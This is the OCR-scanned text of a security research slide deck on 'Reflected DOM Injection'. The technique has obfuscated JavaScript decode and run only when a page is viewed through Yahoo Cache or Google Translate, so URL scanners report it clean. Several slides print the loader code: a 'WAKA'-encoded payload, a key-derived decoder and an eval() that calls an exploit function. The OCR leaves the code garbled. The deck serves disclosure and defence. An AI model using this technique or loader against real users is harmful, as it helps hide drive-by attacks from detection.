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UTILIZING POPULAR WEBSITES FOR
MALICIOUS PURPOSES USING RDI

Daniel Chechik, Anat (Fox) Davidi

P2 [rustwave: # Fustwave



2] total
Mormalized http-ffwww.yahoo coms
URL:

_—

Detection 0/s38
ratio: ‘r 1 2 1 9

Analysis 2013-07-02 12:15:47 UTC { 0 minutes ago )
date:
File scan: The URL response content could not be retrieved or it is some text format (HTML, XML,

CSW, TKT. etc.). hence., it was not enqueued for antivirus scanning.

B Analysis o Additional information o Comments A Votes
URL Scanner Result
ADMIMNUSLabs Clean site
AlienVault Clean site

Awira Clean site
BitDefender Clean site

C-SIRT Clean site

CLEARM NMX Clean site

Comodo Site Inspector

CyberCrime

Dr\Web Clean site
ESET Clean site
Fortinet

G-Data Clean site

%Trustwave
SpiderLabs
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What is RDI?

Reflected DOM Injection

Web Service
Legit
Malicious
Legit
- 2
User Our Website

%Trustwave
SpiderLabs 3
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A Recipe for Disaster

Howdy, aimin [l

= 1 simple web page e

HOME Sal

Snowden breaks silence as new asylum requests +
revealed, says he is ‘free and able’ to continue
leaking
RECENT POSTS
Leavea rep

NSA leaker Edward Snowden broke his weeklong silence on Monday,

defending his “right to seek asylum” while separately claiming he remains

free and able” to publish sensitive information on U.S. surveillance.

Gay marriage opponents fle
emergency motion asking court to
The statements came as Wikileaks revealed that Snowden had made requests

for s around the world, follow

ylum or ance to 19 co

ylum a

earlier requests made to the countries of Ecuador and Iceland.

%Trustwave
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A Recipe for Disaster

fou have reached the cached page for hitpeAsearch yahoo com/

Below is 2 snapshot of the Web page as it appeared on 6/30/2013. Thig is the version of the page that was used for ranking your search results. The page

[
. may have changed since it was last cached. To see what might have changed (without the highlights), go to the current page.
S I I I l p e We p a e “Yahoa! is not respansible for the content of this page

Check out the new Yahoo.com. Access Search, Mail and a virually endless stream of content customized just for you. Try it nowl

Web Images  Video Local  Shopping  Mews  More

YA.HOO-, [ Search

= 1 trustworthy web utility

%Trustwave
SpiderLabs 5
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A Recipe for Disaster

<seripty]
function booyah() {

try {
document getElementByld(" wakadiv" LinnerHTML;
document.getElementseyTaghame("span’)[1].innerHTML

var key

[] for (var < v.length; i++) {
= 1 simple web page

¥

var reg = new RegExp("Waks","g" ),

cl = x.replace(reg, "%u’)

2 = unescape(cl);

varci=";
for (var i=0;i<c2 length; i++) {
€3 += String fromCharCode(c2 charCodeat(i) - key);
¥
eval(ca);
createRects( )
exploit( );

} catch(e) {3
+

</script=

= 1 trustworthy web utility

</fitle=
<style>w\: * { behavior:url(#default#vML); display:inline-block }</style>

<xmlinamespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body onload="booyah();" class="heme blog custom-font-enabled single-author":>

<vioval>
<vistroke id="vmIL"/>

<fvioval>

<div id="wakadiv" style="display:none;">

WAKA1455WAKA1464WAKA145DWAKA1452WAKA 1463WAKA 14 58WAKA14SEWAI
A6AWAKA1IFBWAKALIG6CWAKALIFEWAKALA57WAKA LA 54WAKA L4 SOWAKA145F
Ki1452WAKAL463WAKA 14 SBWAKA14SEWAKA 14 SDWAKA L4 17WAKA145CWAKAL

= 1 script that behaves differently within a certain
context

%Trustwave
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RDI in Action - Yahoo Cache

Yahoo Cache

3 : %Trustwave
P]Trustwaveﬁ SpiderLabs



What just happened?!

[function booyvahi{) {
var : = docyment.getElementbyId( vy sk adiy " LinnerHTML;
var y = docurment.getElementsByTagMamel( " span Y[ 1].innerHTML;
var key = 0;
1| for{vari=0; i< y.length; i++) {
key += v.charCodeat{i);

L
—vartrer—rrewRegErprrerete T

tl = #.replace(reg, "“au’)

c? = unescape{cl);
varci =",
| for (vari=0;i<c2.length; i++) {
3 += String.fromCharCode(c2 .charCodedt(i) - key);
L
eval{c3);
createRects( );
exploitl );

o # Trustwave
SpiderLabs 8
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What just happened?!

var y = docurment.getElementsByTagMamel( " span Y[ 1].innerHTML;
var key = 0;

| 1 e firar iz e w lannthe i+4% £ " o "
| =base href="http: f fvsvrw.testwpekfpwoekfpwoekfpwoefk.com f"/>=<meta hitp-equiv="content-type

content="text/html; charset=utf-8"/=<l-- Banner: Start --s<style type="text/css">#b_cpb{color: black;

 font: normal normal normal small normal arial,sans-serif} #b_cpb a{color: blue; text-decoration:
underline; font-weight:normal }</stylez«--Localizedate: 674177 20153-- s -~ Irvariant Date: 6/177 2013--*<table
width="100%" style="background-color: #fff; text-align:left;” border="1" bordercolor="#909090"
cellpadding="5"=<tr=<td=<span id="b_cpb” =< Title:5tart --*=div=¥ou have reached the cached page
for <strong=<a href="http: f fwww.testwpekfpwoekfpwoekfpwoefk.com/™ h="ID=SERP,5003.1" >
https: f fmyidentity. trustwave.com/f</a=</strong=</divz<l-- Title:End —-»I-- Content: Start ——»<div style=

] "margin-top: 1em;">Below is a snapshot of the Web page as it appeared on <strong=6/f17/2013
=fstrongz=. This is the version of the page that was used for ranking your search results. The page
may have changed since it was last cached. To see what might have changed {without the
highlights ), <a href="http: f fvwww.testwpekfpwoekfpwoekfpwoefk.com/" h="ID=SERP,5003.2">=go
to the current page</a=.</d[v=<-Content:End -—=T-- Cizclaimer: STart --*<dIv SCyle=
"margin-top: Lem;float:righ{{'=<span style="font-size:¥-small;" =% ahoo! is not responsible for the
content of this page.</span ' i i

- style="position:relative™»<html=

S ,}g Trustwave:
SpiderLabs
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What just happened?!

[function booyvahi{) {
var » = docurment.getElementById("wakadiv" YinnerHTML;
var y = docurment.getElementsByTagMamel( " span Y[ 1].innerHTML;
var key = 0;
| for{wvari=0; i< ylength; i++) {
key += v.charCodeat{i);

varreg = new RegExzp({ '\wWakas","o');
cl = x.replacef{reqg, "%u")

c? = unescape{cl);
varci =",
| for (vari=0;i<c2.length; i++) {
3 += String.fromCharCode(c2 .charCodedt(i) - key);
L
eval{c3);
createRects( );
exploitl );

o # Trustwave
SpiderLabs 10
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What just happened?!

g

lfunction booyah({) {

var » = docurment.getElementById("wakadiv" YinnerHTML;
var y = docurment.getElementsByTagMamel( " span Y[ 1].innerHTML;
var key = 0;
for {var i=0; i< y.length; i++) {
key += v.charCodeat{i);

var reg = pew RegExp( Waks","o"');

<div id="ﬁaka;1iu“ SI%IH'5-:|E;:'[“5|]|E',I':I'IDI'IE;"_':=-

WAKA1455WAKAL464WAKALASDWAKALIAS52WAKATL463WAKAT
OFWAKAL1457WAKALA54WAKALIASOWAKALASFWAKALAZBWAK
418WAKA140FWAKAL46AWAKALISFBWAKAL46CWAKALIIFBWA
145FWAKAL43BWAKAL458BWAKAL451IWAKAL41DWAKAL4S58W
KAT40FWAKAL455WAKAL46AWAKALASDWAKAL452WAKAL46]
WAKA141/WAKAL45CWAKAL4SOWAKAL4D/WAKAL4IOWAKAL
S2WAKAL41IBWAKALAOFWAKALIAS/WAKALASAWAKALASOWAK
J62WAKA1454WAKAL418WAKAL4OFWAKALAOAWAKALIFBWA
140FWAKAL1463WAKAL4S7WAKAL45BWAKAL462WAKAL41DW

F KA1430WAKA145BWAKAL45BWAKAL4SEWAKA1452WAKA 140F

AKA145CWAKAL4S0WAKALG/WAKATAZIOWAKALS4SBWAKALS.
WAKAL142EWAKAL4O0FWAKAL4SCWAKAL4S50WAKALd4G/WAKAL

"2 Trustwave:
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What just happened?!

[function booyvahi{) {
var » = docurment.getElementById("wakadiv" YinnerHTML;
var y = docurment.getElementsByTagMamel( " span Y[ 1].innerHTML;
var key = 0;
| for{wvari=0; i< ylength; i++) {
key += v.charCodeat{i);
L
var reg = new RegExp{ "Waka","g"' )
tl = #.replace(reg, "“au’)

c? = unescape{cl);
varci =",
1| for (var i=0;i<c2.length; i++) {
3 += String.fromCharCode(c2 .charCodedt(i) - key);
L
eval{c3);
createRects( );
exploitl );

o # Trustwave
SpiderLabs 12
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Let’s take it a step further

Google Translate

S Trustwave:
P]Trustwave'ﬂ' %SplderLabs



Go back in time (10 minutes ago)

= Producing a malicious URL “hosted” on Google

GOL)S[E http-//handei.ueuo.com/tran.htmi “

Translate FTDITI:I Hebrew j TG:I Englizh j

= We will be able to access it directly without the
interface:
hxxp://translate.google.com/translate?hl=en&sl=iw
&tl=en&u=http%3A%2F%2Fhandei.ueuo.com%2Ftra

n.htm]

%Trustwave
SpiderLabs 14
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http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html
http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html
http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html
http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html
http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html
http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html
http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html
http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html
http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html
http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html
http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html
http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html
http://translate.google.co.il/translate?hl=en&sl=iw&tl=en&u=http://handei.ueuo.com/Page.html

What happens behind the scenes

Google Translate

0

’
!

W e

QOur Website

%Trustwave
SpiderLabs 15

"2 Trustwave:



What happens behind the scenes

Translate ‘ @

—— o ——

QOur Website

%Trustwave
SpiderLabs 16
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What happens behind the scenes

Google Translate

| 1
Google Translate

——

QOur Website

%Trustwave
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What happens behind the scenes

Google Translate

QOur Website

2 Trustwave
P4 Trustwave %EplderLabs 18



Let’s Check Out the Code

= fscript=
<fhead:=

<body style="background-color: #000000; text-align: center;” onload="hello{ }"
< fformz
difn id=h
div jd=111">n ' > script
OV 0=2 22 = g1en 1=, 00w > | > Bob Marley
—aiv I0=000 =< aIv =
<div 1d=333=

WAKAD4O3IWAKAD4 12WAKAD4OBWAKAOD4OOWAKAOD41IWAKAD4O6WAKAD4OC!
418WAKAD3AOWAKAD4 1AWAKADSAOWAKADAOOWAKADADZ2ZWAKADIFEWAKAD:
KAO4OOWAKAD411WAKADAOOWAKADAOCWAKADADBWAKADICOSWAKADADOAWA|
DWAKADZIDFWAKAODIFEWAKAO410WAKAD4O2WAKADICOWAKADIBDWAKADY 1!

aAaNnd4dCcCuuracvanamriifravandnntifavrFandnnmuiravandnaoiilfarvrandnniifFabran TNl AL

= After the text is translated, the malicious code is
generated, decrypted and executed

%«Trustwave
SpiderLabs 19
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Let’s Check Out the Code

var myDiv = docurment.getElementById{"111");
var text = (‘textContent' in myDiv)? 'textContent' : 'innerText’;

var myTex:t = myDiv[text].split{" ');

var Bob = dncument.getEIementEyId{"222"][text].5p|it[' ‘T

|var aaa = document.createElement{myText[myText.length-21); | —_> Genel‘ated
aaatext = "varb ="'+ Bob[Bob.length-2] + " " + Bob[Bob.length-2] + "
document.getElementById{ 000 Y.appendChild{aaa);

var ¢ = document.getElementById{ 223 LinnerHTML;

key = III;|

del = "WakAa'";

for (vari=0; i< b.length; i++) {
key += b.charCodest(i);

h

varcl ="
var reg = new RegExp(del,'0");
cl = coreplace(reg, "YU}

2 = unescapefcl);
for {(var i=0;i<cZ length; i++) {

c3 += String fromCharCode{c2 .charCodest{i) - key);
h

eval(c3);
helloWWorld( );

= After the text is translated, the malicious code is
generated, decrypted and executed

%«Trustwave
SpiderLabs 20
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Let’s Check Out the Code

var myDiv = docurment.getElementById{"111");
var text = (‘textContent' in myDiv)? 'textContent' : 'innerText’;

var myTex:t = myDiv[text].split{" ');

var Bob = docurment.getElementById("'222" Y)[text].split{" ')

var aaa = document.createElement{myText[myText.length-21);

aaatext = "varb ="'+ Bob[Bob.length-2] + " " + Bob[Bob.length-2] + "
document.getElementById{ 000 Y.appendChild{aaa);

var ¢ = document.getElementById{ 223 LinnerHTML;

[key = III;| )
del = "waka";
for (var i=0; i< b.length; i++) {
key += b.charCodedt(i);
¥
varc3 =" —>  Decrypted

var reg = new RegExp(del,'0");
cl = coreplace(reg, "YU}

2 = unescapefcl);

for {(var i=0;i<cZ length; i++) {
\_ 03 += String. fromCharCodef c2.charCodest{i) - keyfy

H
eval(c3);
helloWWorld( );

= After the text is translated, the malicious code is
generated, decrypted and executed

%«Trustwave
SpiderLabs 21
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Let’s Check Out the Code

var myDiv = docurment.getElementById{"111");
var text = (‘textContent' in myDiv)? 'textContent' : 'innerText’;

var myTex:t = myDiv[text].split{" ');

var Bob = docurment.getElementById("'222" Y)[text].split{" ')

var aaa = document.createElement{myText[myText.length-21);

aaatext = "varb ="'+ Bob[Bob.length-2] + " " + Bob[Bob.length-2] + "
document.getElementById{ 000 Y.appendChild{aaa);

var ¢ = document.getElementById{ 223 LinnerHTML;

key = III;|

del = "WakAa'";

for (var i=0; i< b.length; i++3 {
key += b.charCodest(i);

¥

varcl ="

var reg = new RegExp(del,'0");

cl = coreplace(reg, "YU}

2 = unescapefcl);
for {(var i=0;i<cZ length; i++) {

c3 += String fromCharCode{c2 .charCodest{i) - key);
h

evall o3 );

helloworld( ); ————> Executed

= After the text is translated, the malicious code is
generated, decrypted and executed

%«Trustwave
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Reflected DOM Injection

S = RDI is a technique
= Context makes the difference
B2 = \cry hard to detect

B = RDI Is awesome!

%Trustwave
SpiderLabs 23
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b2 total

Mormalized  http://handei.ueuo.comftran.html

=
y

L
Detection 0/39 .r O 0
atio:

Analysis 2013-07-11 10:33:35 UTC { 0 minutes ago )
date:

File scan:  The URL response content could not be retrieved or it is some text format (HTIML, XML,
CS5V, TXT, etc.), hence, it was not enqueued for antivirus scanning.

= Analysis O Additional information ® Comments L Votes

URL Scanner Result

ADMINUSLabs Clean site
AlienVault Clean site
Antiy-AVL Clean site
Awira Clean site
BitDefender Clean site

C-SIRT Clean site

%Trustwave
SpiderLabs 24
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VirusTotal / Wepawet ?

Wepawet

C | [ wepawet.isecab.org/view.php?hash=36fc5cedaed4f0c308f01ff7738371a49&i=1373538850&type=]s

Home | About | Sample Reports | Tools | News

Analysis report for http://handei.ueuo.com/tran.html

Sample Overview

URL

Domain

Analysis Started

Report Generated

Jsanp version

| Reanalyze this URL. |

http://handei.ueuo.com/tran.html
handei.ueuo.com

2013-07-11 03:34:10
2013-07-11 03:34:17

2.3.6

See the report for domain handei.ueuo.com.

Detection results

"2 Trustwave:

([}etectur Result )
Jsanp 2.3.6  benign
Exploits
No exploits were identified.
Deobfuscation results
Evals

EO evals. y,

7

Trustwave:
SpiderLabs

25



VirusTotal / Wepawet ?

Wepawet

Home | About | Sample Reports | Tools | News

Analyzing http:/itranslate.google.com/translate?
hi=en&sl=iw&tl=en&u=http%3A%2F%2Fhandei.ueuo.com%2Ftran.html

There was an error: The analysis timed out.

| Reanalyze this URL |

© 2008-2012 The Regents of the University of California

%Trustwave
SpiderLabs
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2] total

Normalized  http://translate.google com/translate?

URL: hi=en&sl=iwatl=en&u=http%3A%2F%2Fhandei.ueuo.com%2Ftran.html

Detecti 1738 =
etection /39 @

ratio: .r O . 0

A Tra0r-11 10:39:31 UTC | 2 minutes ago )

date:

File scan:  The URL response content could not be retrieved or it is some text format (HTML, XML,

CSV, TXT, etc.). hence, it was not enqueued for antivirus scanning.

B Analysis O Additional information ® Comments 0 Votes

URL Scanner Result

ADMIMUSLabs Sucur SiteCheck Malicious site
AlienVault TTEET

Antiy-AWL Clean site

Awira Clean site

BitDefender Clean site

C-SIRT Clean site

CLEAN MX Clean site

Comodo Site Inspector Clean site

CyberCrime

Trustwave:
SpiderLabs 27

"2 Trustwave:



Thank You!

Daniel Chechik:

2 dchechik@trustwave.com @danielchechik
8 Anat (Fox) Davidi:
adavidi@trustwave.com @afoxdavidi

%Trustwave
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